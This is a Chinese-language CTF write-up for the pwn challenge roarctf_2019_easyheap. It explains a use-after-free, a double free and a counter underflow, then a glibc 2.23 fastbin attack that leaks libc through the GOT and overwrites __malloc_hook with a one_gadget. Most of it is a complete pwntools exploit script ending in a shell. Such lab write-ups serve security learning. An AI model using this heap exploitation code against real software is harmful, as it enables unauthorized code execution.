欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

roarctf_2019_easyheap(文件描述符1关闭后仍然可以交互)

程序员文章站 2022-05-15 21:51:32
...

roarctf_2019_easyheap

首先,检查一下程序的保护机制

roarctf_2019_easyheap(文件描述符1关闭后仍然可以交互)

然后,我们用IDA分析一下

最开始的时候,我们可以在bss段输入一些数据,这意味着,我们可以在bss段伪造一个chunk

roarctf_2019_easyheap(文件描述符1关闭后仍然可以交互)

show功能必须要满足条件才能使用

roarctf_2019_easyheap(文件描述符1关闭后仍然可以交互)

Free后没有清空指针,因此存在double free。

roarctf_2019_easyheap(文件描述符1关闭后仍然可以交互)

666功能也可以创建和free堆,但是有次数限制,但是这个次数限制也存在漏洞,即qword_602010为0时,仍然会减去1,使得其值变成负数,下一次就可以无限制的使用这个功能了。

roarctf_2019_easyheap(文件描述符1关闭后仍然可以交互)

Glibc版本为2.23,我们可以先double free fastbin chunk,然后fastbin attack分配到bss段伪造的chunk,篡改show的标记,篡改buf指针为got表,这样,我们就能调用show泄露出地址了。

Fastbindouble free需要有一个中间chunk,这个中间chunk,我们可以从calloc分配出来的0xB0chunk里切割,切割以后,ptr指向的就是一个0x70的chunk,由于ptr指针之前没有清空,因此就能利用UAF来释放这个中间chunk,从而实现fastbin的double free。

 

add(0x60,'b'*0x60)

calloc_del()

add(0x60,'a'*0x60)

add(0x60,'a'*0x60)

#double free

delete()

calloc_del()

delete()

 

add(0x60,p64(fake_chunk_addr))

add(0x60,'a'*0x60)

add(0x60,'b'*0x60)

add(0x60,'c'*0x18 + p64(read_got) + p64(0xDEADBEEFDEADBEEF))

show()

sh.recv(1)

read_addr = u64(sh.recv(6).ljust(8,'\x00'))

libc_base = read_addr - libc.sym['read']

realloc_addr = libc_base + realloc_s

malloc_hook_addr = libc_base + malloc_hook_s

one_gadget_addr = libc_base + one_gadget_s

print 'libc_base=',hex(libc_base)

print 'malloc_hook_addr=',hex(malloc_hook_addr)

print 'one_gadget_addr=',hex(one_gadget_addr)

调用show后,问题来了,文件描述1符将被关闭,这意味着不再有正常的输出。

roarctf_2019_easyheap(文件描述符1关闭后仍然可以交互)

Exp里都显示GOT EOF了,但是程序其实没有结束,还在运行,并且任意可以输入数据。

roarctf_2019_easyheap(文件描述符1关闭后仍然可以交互)

因此,我们该怎么样就继续怎么样操作即可。再次利用double free,然后分配到malloc_hook,写one_gadget即可,需要用realloc来调整栈。

#coding:utf8
from pwn import *

sh = process('./roarctf_2019_easyheap')
#sh = remote('node3.buuoj.cn',25252)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
malloc_hook_s = libc.symbols['__malloc_hook']
realloc_s = libc.sym['realloc']
one_gadget_s = 0xf1147
elf = ELF('./roarctf_2019_easyheap')
read_got = elf.got['read']
fake_chunk_addr = 0x0000000000602060
fake_chunk = p64(0) + p64(0x71)
fake_chunk = fake_chunk.ljust(0x20,'\x00')
sh.sendafter('please input your username:',fake_chunk)
sh.sendafter('please input your info:','haivk\n')

def add(size,content,blind = False):
   if not blind:
      sh.recvuntil('>>')
   else:
      sleep(0.3)
   sh.sendline('1')
   if not blind:
      sh.recvuntil('input the size')
   else:
      sleep(0.3)
   sh.sendline(str(size))
   if not blind:
      sh.recvuntil('please input your content')
   else:
      sleep(0.3)
   sh.send(content)

def delete(blind = False):
   if not blind:
      sh.recvuntil('>>')
   else:
      sleep(0.3)
   sh.sendline('2')

def show():
   sh.sendlineafter('>>','3')

def calloc_A0(content,blind = False):
   if not blind:
      sh.recvuntil('>>')
   else:
      sleep(0.3)
   sh.sendline('666')
   if not blind:
      sh.recvuntil('build or free?')
   else:
      sleep(0.3)
   sh.sendline('1')
   if not blind:
      sh.recvuntil('please input your content')
   else:
      sleep(0.3)
   sh.send(content)

def calloc_del(blind = False):
   if not blind:
      sh.recvuntil('>>')
   else:
      sleep(0.3)
   sh.sendline('666')
   if not blind:
      sh.recvuntil('build or free?')
   else:
      sleep(0.3)
   sh.sendline('2')

calloc_A0('a'*0xA0)
add(0x60,'b'*0x60)
calloc_del()
add(0x60,'a'*0x60)
add(0x60,'a'*0x60)
#double free
delete()
calloc_del()
delete()

add(0x60,p64(fake_chunk_addr))
add(0x60,'a'*0x60)
add(0x60,'b'*0x60)
add(0x60,'c'*0x18 + p64(read_got) + p64(0xDEADBEEFDEADBEEF))
show()
sh.recv(1)
read_addr = u64(sh.recv(6).ljust(8,'\x00'))
libc_base = read_addr - libc.sym['read']
realloc_addr = libc_base + realloc_s
malloc_hook_addr = libc_base + malloc_hook_s
one_gadget_addr = libc_base + one_gadget_s
print 'libc_base=',hex(libc_base)
print 'malloc_hook_addr=',hex(malloc_hook_addr)
print 'one_gadget_addr=',hex(one_gadget_addr)
#第一次调用为0时,不会执行,减1后变成负数
calloc_A0('a',True)
#利用同样的方法来double free
calloc_A0('a'*0xA0,True)
add(0x60,'b'*0x60,True)
calloc_del(True)
add(0x60,'a'*0x60,True)
add(0x60,'a'*0x60,True)
#double free
delete(True)
calloc_del(True)
delete(True)
add(0x60,p64(malloc_hook_addr - 0x23),True)
add(0x60,'a'*0x60,True)
add(0x60,'b'*0x60,True)
add(0x60,'\x00'*0xB + p64(one_gadget_addr) + p64(realloc_addr + 0x14),True)
#getshell
sh.sendline('1')
sleep(0.3)
sh.sendline('1')

sh.interactive()